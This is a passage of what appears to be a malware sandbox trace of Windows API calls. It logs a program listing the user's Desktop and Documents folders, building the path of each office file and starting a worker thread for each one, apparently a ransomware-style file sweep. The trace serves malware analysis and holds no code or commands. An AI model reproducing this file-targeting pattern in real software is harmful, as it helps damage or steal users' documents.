Size=0x74) returned 0x12e08e98 [0055.694] wcscpy (in: _Dest=0x12e08e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0055.694] wcscat (in: _Dest=0x12e08e98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0055.694] wcscat (in: _Dest=0x12e08e98, _Source="zO8Hii4 rY4J0WL.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zO8Hii4 rY4J0WL.flv" [0055.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0055.695] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf113f0, ftCreationTime.dwHighDateTime=0x1d4cdf7, ftLastAccessTime.dwLowDateTime=0xee7bf300, ftLastAccessTime.dwHighDateTime=0x1d4d45b, ftLastWriteTime.dwLowDateTime=0xee7bf300, ftLastWriteTime.dwHighDateTime=0x1d4d45b, nFileSizeHigh=0x0, nFileSizeLow=0xf7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zwcn6.pptx", cAlternateFileName="ZWCN6~1.PPT")) returned 1 [0055.695] wcscmp (_String1="Zwcn6.pptx", _String2=".") returned 1 [0055.695] wcscmp (_String1="Zwcn6.pptx", _String2="..") returned 1 [0055.695] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x421658 [0055.695] wcscpy (in: _Dest=0x421658, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0055.695] wcscat (in: _Dest=0x421658, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0055.695] wcscat (in: _Dest=0x421658, _Source="Zwcn6.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zwcn6.pptx" [0055.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0055.696] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf113f0, ftCreationTime.dwHighDateTime=0x1d4cdf7, ftLastAccessTime.dwLowDateTime=0xee7bf300, ftLastAccessTime.dwHighDateTime=0x1d4d45b, ftLastWriteTime.dwLowDateTime=0xee7bf300, ftLastWriteTime.dwHighDateTime=0x1d4d45b, nFileSizeHigh=0x0, nFileSizeLow=0xf7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zwcn6.pptx", cAlternateFileName="ZWCN6~1.PPT")) returned 0 [0056.296] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0056.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e1f0) returned 1 [0056.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4140a0) returned 1 [0056.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4140f8) returned 1 Thread: id = 175 os_tid = 0x6fc [0046.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a610 [0046.274] wcscpy (in: _Dest=0x44a610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0046.274] wcscat (in: _Dest=0x44a610, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0046.274] wcscat (in: _Dest=0x44a610, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*" [0046.274] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e458 [0046.274] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87857220, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87857220, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.274] wcscmp (_String1=".", _String2=".") returned 0 [0046.274] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87857220, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87857220, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.275] wcscmp (_String1="..", _String2=".") returned 1 [0046.275] wcscmp (_String1="..", _String2="..") returned 0 [0046.275] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe76f1610, ftCreationTime.dwHighDateTime=0x1d52de7, ftLastAccessTime.dwLowDateTime=0x67cd42b0, ftLastAccessTime.dwHighDateTime=0x1d521da, ftLastWriteTime.dwLowDateTime=0x67cd42b0, ftLastWriteTime.dwHighDateTime=0x1d521da, nFileSizeHigh=0x0, nFileSizeLow=0x8349, dwReserved0=0x0, dwReserved1=0x0, cFileName="1KOlRUC-eUfMQ.pptx", cAlternateFileName="1KOLRU~1.PPT")) returned 1 [0046.275] wcscmp (_String1="1KOlRUC-eUfMQ.pptx", _String2=".") returned 1 [0046.275] wcscmp (_String1="1KOlRUC-eUfMQ.pptx", _String2="..") returned 1 [0046.275] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400418 [0046.275] wcscpy (in: _Dest=0x400418, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0046.275] wcscat (in: _Dest=0x400418, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0046.275] wcscat (in: _Dest=0x400418, _Source="1KOlRUC-eUfMQ.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1KOlRUC-eUfMQ.pptx" [0047.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0047.016] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ee7cd0, ftCreationTime.dwHighDateTime=0x1d4ce23, ftLastAccessTime.dwLowDateTime=0x5d040820, ftLastAccessTime.dwHighDateTime=0x1d4cbed, ftLastWriteTime.dwLowDateTime=0x5d040820, ftLastWriteTime.dwHighDateTime=0x1d4cbed, nFileSizeHigh=0x0, nFileSizeLow=0xa4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="2ArZby6Up Ga10Yk.ppt", cAlternateFileName="2ARZBY~1.PPT")) returned 1 [0047.016] wcscmp (_String1="2ArZby6Up Ga10Yk.ppt", _String2=".") returned 1 [0047.016] wcscmp (_String1="2ArZby6Up Ga10Yk.ppt", _String2="..") returned 1 [0047.016] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447298 [0047.016] wcscpy (in: _Dest=0x447298, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.016] wcscat (in: _Dest=0x447298, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.016] wcscat (in: _Dest=0x447298, _Source="2ArZby6Up Ga10Yk.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt" [0047.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0047.017] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccd88360, ftCreationTime.dwHighDateTime=0x1d4cf03, ftLastAccessTime.dwLowDateTime=0x500a80a0, ftLastAccessTime.dwHighDateTime=0x1d4c700, ftLastWriteTime.dwLowDateTime=0x500a80a0, ftLastWriteTime.dwHighDateTime=0x1d4c700, nFileSizeHigh=0x0, nFileSizeLow=0x1c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="6EtqjVsDR7 tHY.docx", cAlternateFileName="6ETQJV~1.DOC")) returned 1 [0047.017] wcscmp (_String1="6EtqjVsDR7 tHY.docx", _String2=".") returned 1 [0047.017] wcscmp (_String1="6EtqjVsDR7 tHY.docx", _String2="..") returned 1 [0047.017] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400898 [0047.017] wcscpy (in: _Dest=0x400898, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.017] wcscat (in: _Dest=0x400898, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.017] wcscat (in: _Dest=0x400898, _Source="6EtqjVsDR7 tHY.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx" [0047.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0047.019] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12d4a900, ftCreationTime.dwHighDateTime=0x1d4cebb, ftLastAccessTime.dwLowDateTime=0xa4b40ca0, ftLastAccessTime.dwHighDateTime=0x1d4cb12, ftLastWriteTime.dwLowDateTime=0xa4b40ca0, ftLastWriteTime.dwHighDateTime=0x1d4cb12, nFileSizeHigh=0x0, nFileSizeLow=0x8b21, dwReserved0=0x0, dwReserved1=0x0, cFileName="6pt4fyXzESfB6THjM.rtf", cAlternateFileName="6PT4FY~1.RTF")) returned 1 [0047.019] wcscmp (_String1="6pt4fyXzESfB6THjM.rtf", _String2=".") returned 1 [0047.019] wcscmp (_String1="6pt4fyXzESfB6THjM.rtf", _String2="..") returned 1 [0047.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447320 [0047.019] wcscpy (in: _Dest=0x447320, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.019] wcscat (in: _Dest=0x447320, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.019] wcscat (in: _Dest=0x447320, _Source="6pt4fyXzESfB6THjM.rtf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf" [0047.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0047.020] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b742d0, ftCreationTime.dwHighDateTime=0x1d4d591, ftLastAccessTime.dwLowDateTime=0xd6514050, ftLastAccessTime.dwHighDateTime=0x1d4d276, ftLastWriteTime.dwLowDateTime=0xd6514050, ftLastWriteTime.dwHighDateTime=0x1d4d276, nFileSizeHigh=0x0, nFileSizeLow=0x10229, dwReserved0=0x0, dwReserved1=0x0, cFileName="80nPCNBaVNGcOQ.csv", cAlternateFileName="80NPCN~1.CSV")) returned 1 [0047.020] wcscmp (_String1="80nPCNBaVNGcOQ.csv", _String2=".") returned 1 [0047.020] wcscmp (_String1="80nPCNBaVNGcOQ.csv", _String2="..") returned 1 [0047.020] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400918 [0047.020] wcscpy (in: _Dest=0x400918, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.020] wcscat (in: _Dest=0x400918, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.020] wcscat (in: _Dest=0x400918, _Source="80nPCNBaVNGcOQ.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\80nPCNBaVNGcOQ.csv" [0047.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600 [0047.022] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc53a10, ftCreationTime.dwHighDateTime=0x1d586cb, ftLastAccessTime.dwLowDateTime=0x9427e2f0, ftLastAccessTime.dwHighDateTime=0x1d533ca, ftLastWriteTime.dwLowDateTime=0x9427e2f0, ftLastWriteTime.dwHighDateTime=0x1d533ca, nFileSizeHigh=0x0, nFileSizeLow=0x13eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="8AlElqKzT6WsejUI.pptx", cAlternateFileName="8ALELQ~1.PPT")) returned 1 [0047.022] wcscmp (_String1="8AlElqKzT6WsejUI.pptx", _String2=".") returned 1 [0047.022] wcscmp (_String1="8AlElqKzT6WsejUI.pptx", _String2="..") returned 1 [0047.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x4473a8 [0047.022] wcscpy (in: _Dest=0x4473a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.022] wcscat (in: _Dest=0x4473a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.022] wcscat (in: _Dest=0x4473a8, _Source="8AlElqKzT6WsejUI.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8AlElqKzT6WsejUI.pptx" [0047.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4473a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0047.023] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67130330, ftCreationTime.dwHighDateTime=0x1d57b5a, ftLastAccessTime.dwLowDateTime=0x8d186870, ftLastAccessTime.dwHighDateTime=0x1d573f0, ftLastWriteTime.dwLowDateTime=0x8d186870, ftLastWriteTime.dwHighDateTime=0x1d573f0, nFileSizeHigh=0x0, nFileSizeLow=0xcd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="9fsUy9uf9pEq.xlsx", cAlternateFileName="9FSUY9~1.XLS")) returned 1 [0047.023] wcscmp (_String1="9fsUy9uf9pEq.xlsx", _String2=".") returned 1 [0047.023] wcscmp (_String1="9fsUy9uf9pEq.xlsx", _String2="..") returned 1 [0047.023] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400998 [0047.023] wcscpy (in: _Dest=0x400998, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.024] wcscat (in: _Dest=0x400998, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.024] wcscat (in: _Dest=0x400998, _Source="9fsUy9uf9pEq.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9fsUy9uf9pEq.xlsx" [0047.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0047.025] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a9c2c0, ftCreationTime.dwHighDateTime=0x1d4c5f6, ftLastAccessTime.dwLowDateTime=0x33aa4ad0, ftLastAccessTime.dwHighDateTime=0x1d4d272, ftLastWriteTime.dwLowDateTime=0x33aa4ad0, ftLastWriteTime.dwHighDateTime=0x1d4d272, nFileSizeHigh=0x0, nFileSizeLow=0x172db, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDaJgB1BrVT5RJ.odt", cAlternateFileName="CDAJGB~1.ODT")) returned 1 [0047.025] wcscmp (_String1="CDaJgB1BrVT5RJ.odt", _String2=".") returned 1 [0047.025] wcscmp (_String1="CDaJgB1BrVT5RJ.odt", _String2="..") returned 1 [0047.025] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400a18 [0047.025] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.025] wcscat (in: _Dest=0x400a18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.025] wcscat (in: _Dest=0x400a18, _Source="CDaJgB1BrVT5RJ.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDaJgB1BrVT5RJ.odt" [0047.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0047.026] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0047.026] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0047.026] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0047.026] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9fcf890, ftCreationTime.dwHighDateTime=0x1d56e19, ftLastAccessTime.dwLowDateTime=0xe1fee060, ftLastAccessTime.dwHighDateTime=0x1d530c7, ftLastWriteTime.dwLowDateTime=0xe1fee060, ftLastWriteTime.dwHighDateTime=0x1d530c7, nFileSizeHigh=0x0, nFileSizeLow=0x2ce1, dwReserved0=0x0, dwReserved1=0x0, cFileName="dX8hTWaUqITRnZtC5L.xlsx", cAlternateFileName="DX8HTW~1.XLS")) returned 1 [0047.026] wcscmp (_String1="dX8hTWaUqITRnZtC5L.xlsx", _String2=".") returned 1 [0047.026] wcscmp (_String1="dX8hTWaUqITRnZtC5L.xlsx", _String2="..") returned 1 [0047.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447430 [0047.026] wcscpy (in: _Dest=0x447430, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.026] wcscat (in: _Dest=0x447430, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.026] wcscat (in: _Dest=0x447430, _Source="dX8hTWaUqITRnZtC5L.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dX8hTWaUqITRnZtC5L.xlsx" [0047.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610 [0047.027] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe418e530, ftCreationTime.dwHighDateTime=0x1d4d39d, ftLastAccessTime.dwLowDateTime=0xa51e58f0, ftLastAccessTime.dwHighDateTime=0x1d4c769, ftLastWriteTime.dwLowDateTime=0xa51e58f0, ftLastWriteTime.dwHighDateTime=0x1d4c769, nFileSizeHigh=0x0, nFileSizeLow=0x26fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmD2Hm8.doc", cAlternateFileName="")) returned 1 [0047.027] wcscmp (_String1="EmD2Hm8.doc", _String2=".") returned 1 [0047.027] wcscmp (_String1="EmD2Hm8.doc", _String2="..") returned 1 [0047.028] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421578 [0047.028] wcscpy (in: _Dest=0x421578, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.028] wcscat (in: _Dest=0x421578, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.028] wcscat (in: _Dest=0x421578, _Source="EmD2Hm8.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EmD2Hm8.doc" [0047.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0047.029] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ea11b60, ftCreationTime.dwHighDateTime=0x1d5561b, ftLastAccessTime.dwLowDateTime=0x28ff100, ftLastAccessTime.dwHighDateTime=0x1d52cdd, ftLastWriteTime.dwLowDateTime=0x28ff100, ftLastWriteTime.dwHighDateTime=0x1d52cdd, nFileSizeHigh=0x0, nFileSizeLow=0x8093, dwReserved0=0x0, dwReserved1=0x0, cFileName="EnrP6X.pptx", cAlternateFileName="ENRP6X~1.PPT")) returned 1 [0047.029] wcscmp (_String1="EnrP6X.pptx", _String2=".") returned 1 [0047.029] wcscmp (_String1="EnrP6X.pptx", _String2="..") returned 1 [0047.029] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x4215e8 [0047.029] wcscpy (in: _Dest=0x4215e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.029] wcscat (in: _Dest=0x4215e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.029] wcscat (in: _Dest=0x4215e8, _Source="EnrP6X.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EnrP6X.pptx" [0047.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4215e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0047.030] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b83480, ftCreationTime.dwHighDateTime=0x1d56a55, ftLastAccessTime.dwLowDateTime=0xb2b5f230, ftLastAccessTime.dwHighDateTime=0x1d5552f, ftLastWriteTime.dwLowDateTime=0xb2b5f230, ftLastWriteTime.dwHighDateTime=0x1d5552f, nFileSizeHigh=0x0, nFileSizeLow=0x13931, dwReserved0=0x0, dwReserved1=0x0, cFileName="fNSPzxua.docx", cAlternateFileName="FNSPZX~1.DOC")) returned 1 [0047.030] wcscmp (_String1="fNSPzxua.docx", _String2=".") returned 1 [0047.030] wcscmp (_String1="fNSPzxua.docx", _String2="..") returned 1 [0047.030] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, 